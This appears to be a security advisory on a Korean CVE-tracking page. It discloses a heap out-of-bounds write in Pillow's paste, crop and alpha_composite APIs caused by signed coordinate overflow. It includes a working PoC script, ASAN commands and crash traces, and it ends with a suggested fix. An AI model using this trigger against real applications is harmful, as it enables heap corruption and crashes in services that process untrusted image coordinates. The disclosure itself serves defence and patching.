Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
1from PIL import Image 2 3INT_MIN = -(1 << 31) 4 5src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) 6dst = Image.new("RGBA", (8, 1)) 7dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
1self.im.paste(source, box)src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
1int x0, y0, x1, y1; 2PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); 3status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
1xsize = dx1 - dx0; 2ysize = dy1 - dy0; 3 4if (dx0 + xsize > imOut->xsize) { 5 xsize = imOut->xsize - dx0; 6}With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
1dx *= pixelsize; 2xsize *= pixelsize; 3memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.
The primitive scales with the attacker-controlled source width:
1source width = W 2box = ((1 << 31) - W, 0, INT_MIN, 1) 3 4C destination offset = -4 * W 5C memcpy size = 4 * W 6write range = [row_start - 4W, row_start)Examples for RGBA:
1W = 2 -> writes 8 bytes before the row 2W = 1024 -> writes 4096 bytes before the row 3W = 65536 -> writes 256 KiB before the row 4W = 1000000 -> writes about 4 MiB before the rowPillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
1# Image.crop() path 2left = INT_MIN + 2 3Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1)) 4 5# Image.alpha_composite() path, via its internal crop() 6base = Image.new("RGBA", (2, 1)) 7over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) 8base.alpha_composite(over, dest=(left, 0))Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
1#!/usr/bin/env python3 2import argparse 3import sys 4 5from PIL import Image 6 7 8INT_MIN = -(1 << 31) 9 10 11def rgba_pattern(width):12 out = bytearray()13 for i in range(width):14 out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))15 return bytes(out)16 17 18def main():19 parser = argparse.ArgumentParser()20 parser.add_argument(21 "variant",22 choices=("paste", "crop", "alpha"),23 nargs="?",24 default="paste",25 )26 parser.add_argument("-w", "--width", type=int, default=2)27 args = parser.parse_args()28 29 width = args.width30 src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))31 32 if args.variant == "paste":33 box = ((1 << 31) - width, 0, INT_MIN, 1)34 dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))35 print(f"variant=paste box={box}")36 print(f"expected C dst offset={-4 * width}, write_size={4 * width}")37 sys.stdout.flush()38 dst.paste(src, box)39 print("paste returned; first row:", dst.tobytes().hex())40 41 elif args.variant == "crop":42 left = INT_MIN + width43 box = (left, 0, left + width, 1)44 print(f"variant=crop box={box}")45 sys.stdout.flush()46 out = src.crop(box)47 print("crop returned; output:", out.tobytes().hex())48 49 else:50 dest = (INT_MIN + width, 0)51 dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))52 print(f"variant=alpha dest={dest}")53 sys.stdout.flush()54 dst.alpha_composite(src, dest=dest)55 print("alpha_composite returned; first row:", dst.tobytes().hex())56 57 sys.stdout.flush()58 59 60if __name__ == "__main__":61 main()Run against an ASAN build:
1env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ 2 python b021_poc.py paste 3 4env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ 5 python b021_poc.py crop 6 7env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ 8 python b021_poc.py alphaObserved ASAN signature for the direct Image.paste() path:
1ERROR: AddressSanitizer: heap-buffer-overflow 2WRITE of size 8 3paste /out/src/src/libImaging/Paste.c:59 4ImagingPaste /out/src/src/libImaging/Paste.c:323 5_paste /out/src/src/_imaging.c:1461 60x... is located 8 bytes before 32-byte regionOn non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
1double free or corruption (out) 2Aborted (core dumped)Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
1ERROR: AddressSanitizer: heap-buffer-overflow 2WRITE of size 8 3paste /out/src/src/libImaging/Paste.c:59 4ImagingPaste /out/src/src/libImaging/Paste.c:323 5ImagingCrop /out/src/src/libImaging/Crop.c:57 6_crop /out/src/src/_imaging.c:1090Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
1int64_t xsize64 = (int64_t)dx1 - dx0; 2int64_t ysize64 = (int64_t)dy1 - dy0; 3 4if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { 5 return ImagingError_ValueError("bad box"); 6}ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…